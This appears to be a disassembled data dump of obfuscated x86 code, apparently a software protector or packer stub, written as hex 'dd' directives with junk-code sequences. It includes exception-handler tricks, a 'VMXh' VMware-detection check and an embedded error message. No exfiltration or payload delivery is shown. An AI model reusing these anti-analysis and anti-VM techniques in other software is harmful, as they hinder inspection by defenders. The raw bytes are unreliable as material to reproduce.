		dd 0B7858906h, 6A06AAECh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 2AA5C355h, 23274E45h
		dd 599D89CCh, 8306A822h, 0A80A99BDh, 850F0006h,	1Dh, 0DEFEBA66h
		dd 0FC3EBD83h, 0F0006AAh, 1784h, 41BD8B00h, 8906A82Eh
		dd 0A82D7985h, 1071E906h, 0B9660000h, 0E5B199F2h, 398E9h
		dd 6810F00h, 8B000000h,	0A80D3195h, 8BC08B06h, 0A81719BDh
		dd 0D9BD8306h, 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h
		dd 0B8C08B53h, 7D4h, 7B58589h, 9D8D06A8h, 6AAA1ACh, 585BD3FFh
		dd 2DE9BD83h, 740006A8h, 0B8535017h, 7D4h, 7B58589h, 9D8D06A8h
		dd 6AA9E9Bh, 585BD3FFh,	0B0D8D8Bh, 0C08B06A8h, 0F003F68h
		dd 6890F00h, 2B000000h,	0A81B6D95h, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 26B0C351h, 6A237054h, 0FBBF0F00h, 14B195FFh,	12E906A8h
		dd 75000000h, 40C57A9Ah, 31051B9h, 807D4E7Bh, 52E13328h
		dd 0FC0853Ah, 0C85h, 0C5EA8100h, 8954E381h, 0A829A18Dh
		dd 3B858906h, 3106AAECh, 0A81F29B5h, 89006A06h,	0A810D195h
		dd 3006A06h, 0A82D9DBDh, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0D186C352h
		dd 4FB2CC71h, 6AD38B66h, 0C9BF0F00h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 858DDBC3h
		dd 6AAEE19h, 0AC18D8Bh,	8D8906A8h, 6A8062Dh, 0D6BF6650h
		dd 0E8016A34h, 5, 25EB9426h, 6DBD8B69h,	5906A832h, 7E9016Ah
		dd 7B000000h, 5CE3DA6Fh, 16A4C78h, 68D18B66h, 0F01FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 71C35747h
		dd 0BD899B2Fh, 6A830E5h, 38C0Fh, 0BF0F0000h, 99BD83FEh
		dd 6A80Ah, 44840Fh, 0DA810000h,	40ECB5Dh, 49B51FBFh, 98858D44h
		dd 8A06AAECh, 36E9EAh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 609CD2C3h, 62CE1965h
		dd 0E18D230Ah, 6606A807h, 858DC88Bh, 6AAEC6Eh, 9934B966h
		dd 0FF50F550h, 0AAEC3BB5h, 0D9BD8B06h, 0FF06A825h, 0AAEC2795h
		dd 0C085F506h, 7850Fh, 34E90000h, 0B6000000h, 3F85893Ah
		dd 0E906AAECh, 8, 178EFCD3h, 34505B49h,	0EC3FB5FFh, 0B70F06AAh
		dd 0D95FFD2h, 8B06A833h, 0FC085F9h, 685h, 0ADBD2900h, 6A06A80Eh
		dd 51006A10h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8354C84Dh, 0A80A99BDh, 840F0006h, 40h, 0EC98858Dh
		dd 6A06AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 3BA0C1C3h, 0F5EF056Dh, 0EB8A5BB5h, 33F5B589h
		dd 15E906A8h, 8B000000h, 0A82895BDh, 0D2B70F06h, 0EC6E858Dh
		dd 8D8B06AAh, 6A83449h,	57006A50h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0C3D5191Ah, 7B741AB4h
		dd 0B70FACA9h, 3BB5FFFFh, 6606AAECh, 89BDD181h,	0EC3395FFh
		dd 8D8906AAh, 6A80AD1h,	850FC085h, 6, 3285B589h, 858906A8h
		dd 6AAEC3Fh, 1591958Bh,	6A06A8h, 148E0Fh, 8E80000h, 0DB000000h
		dd 0F2EE04D3h, 99EA873h, 0A82B5D95h, 6A5A06h, 68B0Fh, 0EA810000h
		dd 0CDA74CEh, 0EC3FB5FFh, 820F06AAh, 5,	0F2D58060h, 2B95FF61h
		dd 8506AAECh, 4850FC0h,	66000000h, 0FFCE17B9h, 0AAEC3FB5h
		dd 0A0BA6606h, 0D95FF76h, 306A833h, 0A80D7195h,	0FC08506h
		dd 485h, 0E3BA6600h, 0E8006A7Bh, 9, 0C72FEDAAh,	3ACAC64Ch
		dd 9BD33BEh, 5A06A825h,	8068h, 6A595700h, 1B810F03h, 0E8000000h
		dd 13h,	0CE69C4B1h, 0FA600BB2h,	8C5A9722h, 49B85E92h, 6091CC76h
		dd 6A5A61h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	91C35040h, 5850Fh, 1EB90000h, 0B93FA995h, 768DDB7Eh
		dd 0BD8B006Ah, 6A82B71h, 68h, 0AD958BC0h, 0F06A807h, 0B5FFD1B7h
		dd 6AAECB7h, 2EDDBD33h,	95FF06A8h, 6A81AC1h, 1840Fh, 66F90000h
		dd 0F883FA8Bh, 0A2850FFFh, 0FF000005h, 0AAF72585h, 73BA6606h
		dd 25BD83E3h, 206AAF7h,	44A840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0C3B78DC3h
		dd 8D8D8BDEh, 8D06A81Eh, 5B243B85h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B757984h
		dd 0A833918Dh, 89D0FF06h, 0A82D9195h, 8E858D06h, 29005B1Eh
		dd 0A801A985h, 8BD0FF06h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0F8928E91h
		dd 5E9E4h, 879A0000h, 830C3028h, 0A81ED9BDh, 9750006h
		dd 2DE9BD83h, 740006A8h, 8B535019h, 7D8B8C0h, 85890000h
		dd 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h
		dd 50177400h, 7D8B853h,	85890000h, 6A807B5h, 9E9B9D8Dh
		dd 0D3FF06AAh, 6A585Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 59E4C3h,	605502A5h, 16E78166h, 94B1611Fh
		dd 5E9C08Bh, 11000000h,	5B422A50h, 0F003F68h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0D03FD611h, 0DE8515Bh, 0CC000000h, 0A1D19653h, 6711C11Fh
		dd 0B04781D5h, 0B0D4D781h, 595A3B2Fh, 0F6E18166h, 80006A92h
		dd 6AABC5h, 14B195FFh, 0BF6606A8h, 0C085AF57h, 0D39958Bh
		dd 858906A8h, 6AAEC3Bh,	0DD99D31h, 0FF6806A8h, 8B000F01h
		dd 99BD83FAh, 6A80Ah, 3D840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C8AFF1C3h
		dd 5D1BD8Bh, 0C9B506A8h, 0EC98858Dh, 8D0106AAh,	6A82F85h
		dd 1BE9h, 9B52900h, 8D06A82Dh, 0AAEC6E85h, 7E906h, 58880000h
		dd 5B4A5F5Ch, 0D0BF0F5Bh, 56006A50h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0BE7E8C66h
		dd 1A499D09h, 336006A8h, 0A8327DBDh, 0B5895106h, 6A80019h
		dd 0B5FF6158h, 6AAEC3Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0DFC35646h, 92AEDDA1h, 0EE7599D8h, 0F5858951h
		dd 0FF06A81Eh, 0AAEC3395h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5E2A34D4h
		dd 3F858940h, 8906AAECh, 0A800B1B5h, 0D08B6606h, 147585C7h
		dd 6A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1A0424h, 55450000h, 87342FC3h, 6E785ED2h, 83FA8B66h
		dd 0AAEC3FBDh, 840F0006h, 185h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0EFC35343h,	0FFF5D981h, 31D6B92Fh
		dd 0A8338985h, 0A5B52906h, 8D06A806h, 0AAEF1D85h, 840F06h
		dd 50000000h, 9F40F4BAh, 66016A54h, 0FF6E7CBAh,	0AAEC3FB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0F70EBA5Ch, 95FF6DF3h, 6AAEC37h,	24FD8589h
		dd 0B5FF06A8h, 6AAEC3Fh, 5DBD0B60h
		dd 8B06A81Ah, 0A82C719Dh, 95FF6106h, 6A8330Dh, 49958952h
		dd 5F06A815h, 1E59BD8Bh, 0FF6806A8h, 66000F01h,	0BD83FA8Bh
		dd 6A80A99h, 68840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 37A4C352h
		dd 68F0F03h, 8B000000h,	0A80E8D95h, 98858D06h, 0E806AAECh
		dd 7, 99EF79AEh, 669EC102h, 0A32BDF81h,	18870F5Fh, 0E9000000h
		dd 13h,	0FCE75B76h, 35F4BBC2h, 0B77528F2h, 7315ABBBh, 0E97D69B5h
		dd 0Fh,	8DCFCD80h, 0AAEC6E85h, 0AD952306h, 5006A819h, 3BB5FFF5h
		dd 6006AAECh, 719B58Bh,	0FF6106A8h, 0AAEC3395h,	9958B06h
		dd 3106A810h, 0A81D79BDh, 3F858906h, 5706AAECh,	34618D8Bh
		dd 0FF5906A8h, 0AAEC3FB5h, 0FFD08B06h, 0AAEC2F95h, 7E906h
		dd 0F0480000h, 0E72521B9h, 3FB5FF56h, 0FF06AAECh, 0A8330D95h
		dd 0ECBA6606h, 0F76FE9B6h, 958BFFFFh, 6A80EBDh,	0F788B5FFh
		dd 95FF06AAh, 6A820DDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 56C35141h, 1900BD9Fh,	0A9E8E281h, 0DE809BBh
		dd 0E8000000h, 4A031165h, 29AA1887h, 767B8B8Ch,	59CAB70Fh
		dd 19FD858Bh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0E43CE3C3h, 0B8CDF19Eh, 2691BD89h
		dd 8B6606A8h, 588E9FAh,	95890000h, 6A81AA9h, 0EF3DB58Dh
		dd 0B53106AAh, 6A81E39h, 9B7C858Dh, 816606AAh, 0FF3CFEDFh
		dd 6AA3B5D0h, 0EE95700h, 0AB000000h, 0E935D583h, 935A2C8Fh
		dd 1CD3F37Dh, 95FF5960h, 6A80081h, 260DB529h, 0F38B06A8h
		dd 8DFA8B66h, 0AA9B7C85h, 0D0FFF906h, 2B31BD8Bh, 6A06A8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7EC35343h
		dd 987818E5h, 0D3E49FC7h, 0CF8156FFh, 6D87AADEh, 8195FF5Ah
		dd 6A06A800h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0E3FDC351h, 0F8E84A9h,	2DBFB9CAh
		dd 0E80216ABh, 6, 0EFCCD418h, 0C88A4852h, 6AC08B5Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 8804C357h, 3DC91E4Ah, 89601548h, 0A807699Dh,	6860F06h
		dd 8B000000h, 0A81A69B5h, 8D336106h, 6A829B1h, 1ED9BD83h
		dd 750006A8h, 0E9BD8309h, 6A82Dh, 53501974h, 0D9B8C08Bh
		dd 89000007h, 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h
		dd 0A82DE9BDh, 17740006h, 0D9B85350h, 89000007h, 0A807B585h
		dd 9B9D8D06h, 0FF06AA9Eh, 8B585BD3h, 0F6B966C0h, 0ABA50FBh
		dd 9138CBAh, 0A80DD99Dh, 80D88B06h, 8D53C7E1h, 0A828159Dh
		dd 89038B06h, 50438B03h, 8D504389h, 0AAF7219Dh,	89038B06h
		dd 0B5895B03h, 6A80B89h, 0F58D0160h, 8906A813h,	0A81461BDh
		dd 0F18A6106h, 858D006Ah, 6AAF721h, 0CE8h, 0A33F5F00h
		dd 97343FDAh, 0AD74F4ECh, 594FB571h, 659D0950h,	6A06A81Eh
		dd 0E9816660h, 858D8AC7h, 6A82815h, 0B9D9589h, 6A5006A8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 6A41C357h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8166F23Ch, 6AD193D2h
		dd 48B0F00h, 66000000h,	68534BBFh, 1800h, 6A53CA8Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 8136C357h, 329DCC22h, 35BD010Ah, 0FF06A832h,	0A829D595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8166EAB3h, 0FF06BCC2h, 0A80F5595h, 0C3DD8006h
		dd 11E9h, 0B41ECF00h, 6C7B49F7h, 0B4AE078Eh, 0E4BECD47h
		dd 0B5FFB0C0h, 6AAF788h, 13E8h,	1F7DC00h, 27477EC7h, 95A3F052h
		dd 0AA5382Ch, 8F8A7A11h, 198531h, 0FF5A06A8h, 0A820DD95h
		dd 8F0F5106h, 1, 858D59FCh, 6A82815h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 6EC35343h, 80D972D5h, 8BA8E974h
		dd 0A814B995h, 18408B06h, 28B98D8Bh, 85C706A8h,	6A83415h
		dd 0
		dd 0B980D680h, 0E130F48h, 0A99BD83h, 0F0006A8h,	3C84h
		dd 5DBD2B00h, 3D06A80Dh, 8Ch, 194830Fh,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 5356BFC3h, 0F5D8D8Bh, 5F5906A8h, 34E9h, 983D00h, 830F0000h
		dd 15Eh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	0B5C35242h, 6E966B8h, 0BD000000h, 9B2F7172h, 3B858D57h
		dd 0FF005B24h, 0C18A60D0h, 16499D8Bh, 8D6106A8h, 5B1E8E85h
		dd 11E900h, 8EA60000h, 0AA57A119h, 4B50F8EEh, 2D6C7037h
		dd 9CBDAC7h, 0A814FDB5h, 8BD0FF06h, 8308B2C0h, 0A81ED9BDh
		dd 9750006h, 2DE9BD83h,	740006A8h, 8B535019h, 0BC6B8C0h
		dd 85890000h, 6A807B5h,	0A1AC9D8Dh, 0D3FF06AAh,	0BD83585Bh
		dd 6A82DE9h, 50177400h,	0BC6B853h, 85890000h, 6A807B5h
		dd 9E9B9D8Dh, 0D3FF06AAh, 0BA66585Bh, 0EA806F2Dh, 89C08BEDh
		dd 0A82CCDBDh, 0FFF88306h, 2E850Fh, 0BD0B0000h,	6A802F5h
		dd 2F2185C7h, 6A8h, 0BD890000h,	6A80B6Dh, 113E9h, 0E936B100h
		dd 6Bh,	68F0Fh,	8D8B0000h, 6A80C01h, 0F01F883h,	5685h
		dd 0EE900h, 0D8650000h,	0B852FFC2h, 0A254C84Dh,	0E188A170h
		dd 111E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 44C8DD43h, 0C26DE6E4h, 5A569C02h
		dd 12E9h, 0A3867F00h, 0EA2C7F53h, 0F8EC1B4Ch, 0D81747AEh
		dd 0E92CE024h, 0FFFFF231h, 459503h, 0C08B06A8h,	0D9BD83F8h
		dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
		dd 7DDh, 7B58589h, 9D8D06A8h, 6AAA1ACh,	585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535017h, 7DDh,	7B58589h, 9D8D06A8h, 6AA9E9Bh
		dd 585BD3FFh, 0A850Fh, 5E90000h, 66000000h, 17CBD23h, 28B58D8Bh
		dd 0C08B06A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	67C35343h, 0BD898204h, 6A8300Dh, 1F6E9h, 0BD8BFC00h
		dd 6A801B5h, 0F525858Dh, 0B58906AAh, 6A81EA1h, 0F71D8589h
		dd 4FB906AAh, 0E908AF72h, 3Ah, 0AE8h, 41FBD600h, 0F0D5B404h
		dd 898F7FECh, 0A80A659Dh, 858D5F06h, 6AAF32Dh, 38C0Fh
		dd 0B70F0000h, 0B52940D2h, 6A82189h, 13D28166h,	1D858970h
		dd 0F06AAF7h, 346AF8B7h, 26D1858Dh, 0FF5006A8h,	0AAF71DB5h
		dd 0FF006A06h, 0A8142D95h, 7F88306h, 168840Fh, 8C660000h
		dd 4C3F6DBh, 102850Fh, 85C60000h, 6A815D5h, 0B8526856h
		dd 0B5FF9CA8h, 6A831F9h, 3AC3858Dh, 0D0FF06A8h,	68046Ah
		dd 6A000010h, 0FF006A64h, 908589D0h, 0C606AAF7h, 0A815D585h
		dd 9B684706h, 0FFEC18ACh, 0A831F9B5h, 0C3858D06h, 0FF06A83Ah
		dd 8BD0FFD0h, 0D585C6F0h, 4F06A815h, 2F266168h,	9DB5FFC6h
		dd 8D06A806h, 0A83AC385h, 8DD0FF06h, 0AAF78C9Dh, 286A5306h
		dd 85D0FF56h, 0C60075C0h, 0A815D585h, 98684106h, 0FFDB8764h
		dd 0A8069DB5h, 0C3858D06h, 0FF06A83Ah, 0A98589D0h, 0C606AAF7h
		dd 0A815D585h, 0A4684C06h, 0FF80A4E7h, 0A8069DB5h, 0C3858D06h
		dd 0FF06A83Ah, 909D8BD0h, 8D06AAF7h, 8D53045Bh,	0AAF7959Dh
		dd 6A5306h, 9D8BD0FFh, 6AAF790h, 103C7h, 43C70000h, 20Ch
		dd 7D9D8B00h, 0C706A830h, 0A8261585h, 6, 6A006A00h, 8B006A00h
		dd 0AAF7909Dh, 6A5306h,	0F78CB5FFh, 95FF06AAh, 6AAF7A9h
		dd 15D585C6h, 684506A8h, 92A5F797h, 0D2DB5FFh, 858D06A8h
		dd 6A83AC3h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
		dd 0F7909D8Bh, 43C706AAh, 0Ch, 6A006A00h, 909D8B00h, 5306AAF7h
		dd 0B5FF006Ah, 6AAF78Ch, 0F7A995FFh, 0B5FF06AAh, 6AAF78Ch
		dd 0F5595FFh, 6A06A8h, 8195FFh,	8B6606A8h, 79958BCAh, 8D06A807h
		dd 0AB298685h, 79BD0906h, 8B06A831h, 0A815498Dh, 6A5006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 9FE53C3h, 35FF64h, 66000000h, 641853B9h, 2589h, 0CE8B0000h
		dd 61BD83h, 0F0006A8h, 3B84h, 0D58D8900h, 8306A821h, 0A8339DBDh
		dd 850F0106h, 28h, 16598D89h, 0BD8006A8h, 6AAFBA9h, 15850F00h
		dd 0F000000h, 183h, 7DE9F500h, 60000001h, 0FED9D89h, 61FC06A8h
		dd 6ADB33h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D59978C3h, 3ECD8043h, 8B66C033h,	3F0F40FEh
		dd 8F640B07h, 5, 4C48300h, 72EAC181h, 958B0F04h, 6A819F9h
		dd 0FFFFB83h, 2A84h, 0DBE68000h, 115E9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 9435CEA2h, 0E92A15F0h, 67h, 8BF8BF0Fh, 0C70C244Ch, 0A481h
		dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h,	550C245Ch
		dd 0E8h, 0ED815D00h, 6AB29A8h, 0B8838Bh, 858D0000h, 6AB2A7Bh
		dd 0B88389h, 335D0000h,	0F60C3C0h, 68Fh, 59958900h, 306A826h
		dd 0A808D99Dh, 6E96106h, 10000000h, 12F24723h, 22DA8105h
		dd 8D0A3F11h, 0AB299E85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 119566EAh
		dd 1A391AD3h, 0A9BD8BC7h, 5006A802h, 0DD64B966h, 35FF64h
		dd 0E9000000h, 11h, 6A75FDC3h, 930976ACh, 3C45905Ah, 0F32575E6h
		dd 2589641Bh, 0
		dd 27D19D89h, 0AB906A8h, 0B8000000h, 4855D704h,	0F7816405h
		dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh,	0FB81ED00h
		dd 564D5868h, 85C70A75h, 6A81725h, 1, 58F64h, 83000000h
		dd 0B50104C4h, 6A82001h, 17E9BA66h, 8D01C08Bh, 6A80DD9h
		dd 1ED9BD83h, 750006A8h, 0E9BD8309h, 6A82Dh, 53501974h
		dd 3DB8C08Bh, 89000004h, 0A80FD585h, 139D8D06h,	0FF06AAA2h
		dd 83585BD3h, 0A82DE9BDh, 17740006h, 3DB85350h,	89000004h
		dd 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh, 23585BD3h, 0A80C258Dh
		dd 6AF506h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 179482C3h, 8B66AB3Fh, 0E9C08BF9h,	147h, 4
		dd 31392E31h, 30h, 6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 746E6F63h, 20746361h
		dd 20656874h, 74666F73h, 65726177h, 76656420h, 706F6C65h
		dd 20737265h, 68746977h, 65687420h, 6C6F6620h, 69776F6Ch
		dd 6320676Eh, 7365646Fh, 6854202Eh, 206B6E61h, 2E756F79h
		dd 0D0A0D0Ah, 2	dup(20202020h),	65727028h, 43207373h, 2B4C5254h
		dd 6E6F2043h, 69687420h, 69772073h, 776F646Eh, 206F7420h
		dd 79706F63h, 206F7420h, 70696C63h, 72616F62h, 20202964h
		dd 0D0A2020h, 65560D0Ah, 6F697372h, 3D20206Eh, 0A732520h
		dd 6568430Dh, 4E496B63h, 203D2020h, 0D0A6425h, 63656843h
		dd 54554F6Bh, 25203D20h, 500D0A64h, 49636F72h, 2020204Eh
		dd 6425203Dh, 72500D0Ah, 554F636Fh, 3D202054h, 0A642520h
		dd 6978450Dh, 204E4974h, 203D2020h, 0D0A6425h, 74697845h
		dd 2054554Fh, 25203D20h, 540D0A64h, 206E6950h, 20202020h
		dd 6425203Dh, 83000D0Ah, 0A81F91BDh, 840F0006h,	12Dh, 9CCB858Dh
		dd 8D5006AAh, 0AA9C3585h, 1685006h, 0FF800000h,	0AA9CDB95h
		dd 13858D06h, 5006AB2Bh, 2B1D858Dh, 6A5006ABh, 8D006A00h
		dd 0AA9C4985h, 0B5FF5006h, 6AA9CCBh, 0D1195FFh,	858D06A8h
		dd 6AB2B13h, 21858D50h,	5006AB2Bh, 6A006Ah, 9C5B858Dh
		dd 0FF5006AAh, 0AA9CCBB5h, 1195FF06h, 8D06A80Dh, 0AB2B1385h
		dd 858D5006h, 6AB2B2Dh,	6A006A50h, 0A8858D00h, 5006AA9Ch
		dd 9CCBB5FFh, 95FF06AAh, 6A80D11h, 2B13858Dh, 8D5006ABh
		dd 0AB2B3585h, 6A5006h,	858D006Ah, 6AA9CC6h, 0CBB5FF50h
		dd 0FF06AA9Ch, 0A80D1195h, 13858D06h, 5006AB2Bh, 2B31858Dh
		dd 6A5006ABh, 8D006A00h, 0AA9CAF85h, 0B5FF5006h, 6AA9CCBh
		dd 0D1195FFh, 858D06A8h, 6AB2B13h, 25858D50h, 5006AB2Bh
		dd 6A006Ah, 9CB7858Dh, 0FF5006AAh, 0AA9CCBB5h, 1195FF06h
		dd 8D06A80Dh, 0AB2B1385h, 858D5006h, 6AB2B29h, 6A006A50h
		dd 0BE858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh,	6A80D11h
		dd 9CCBB5FFh, 95FF06AAh, 6A80791h, 0A2E9h, 5DBD8300h, 6A832h
		dd 95840Fh, 0BD830000h,	6A8339Dh, 11850F00h, 8B000000h
		dd 0A8072595h, 0F8C28106h, 0E900001Ch, 0Fh, 2815958Dh
		dd 528B06A8h, 40C28134h, 893BD4C3h, 0A832A195h,	0A1BD8306h
		dd 6A832h, 55840Fh, 9D8B0000h, 6A832A1h, 8B4CC383h, 1D858903h
		dd 8B06AB2Bh, 0A832A19Dh, 50C38306h, 8589038Bh,	6AB2B21h
		dd 32A19D8Bh, 0C38306A8h, 89038B54h, 0AB2B2D85h, 0A19D8B06h
		dd 8306A832h, 38B58C3h,	2B318589h, 9D8B06ABh, 6A832A1h
		dd 8B5CC383h, 25858903h, 8306AB2Bh, 0A81F91BDh,	850F0006h
		dd 0Dh,	325DBD83h, 0F0006A8h, 6884h, 35B5FF00h,	0FF06AB2Bh
		dd 0AB2B29B5h, 25B5FF06h, 0FF06AB2Bh, 0AB2B31B5h, 2DB5FF06h
		dd 0FF06AB2Bh, 0AB2B21B5h, 1DB5FF06h, 8D06AB2Bh, 0AB2B1785h
		dd 858D5006h, 6AB2B4Fh,	0DD858D50h, 5006A822h, 223595FFh
		dd 0C48306A8h, 8D406A24h, 0AB2B3985h, 858D5006h, 6A822DDh
		dd 0FF006A50h, 0A8142D95h, 0FF016A06h, 0A8008195h, 0EBC18B06h
		dd 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 0E3ED815Dh, 6106AB2Eh, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 2F1BB58Bh, 0E68106ABh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 2F1FB53Bh, 860F06ABh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	0A832A185h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 24F595FFh,	0F5006A8h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0A832A185h, 0C606h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 0A1858B00h, 8606A832h, 0FDB0A18h,	0FFFFF685h
		dd 0A185C7FFh, 6A82Fh, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 2FA185C7h, 10006A8h, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 2EC085C7h, 106ABh
		dd 0F500000h, 0FE244C01h, 2EC4858Fh, 858D06ABh,	6AB2EBCh
		dd 2EC4BD8Dh, 388906ABh, 23E9h,	15858D00h, 8B06A828h, 17053840h
		dd 899B46F3h, 0AB2EBC85h, 15858D06h, 8B06A828h,	85893C40h
		dd 6AB2EC0h, 2ED9858Dh,	858906ABh, 6A824F5h, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 314C858Dh, 858906ABh, 6A81A35h, 3174858Dh, 858906ABh
		dd 6A82D75h, 319C858Dh,	858906ABh, 6A80EF1h, 10E860h, 0D1060000h
		dd 4C20BEF1h, 0BED4F249h, 0AC19E3ADh, 8166980Fh, 5A4F94D9h
		dd 6660C08Bh, 5864F681h, 8361D38Bh, 0A81ED9BDh,	9750006h
		dd 2DE9BD83h, 740006A8h, 8B535019h, 40EB8C0h, 85890000h
		dd 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h
		dd 50177400h, 40EB853h,	85890000h, 6A807B5h, 9E9B9D8Dh
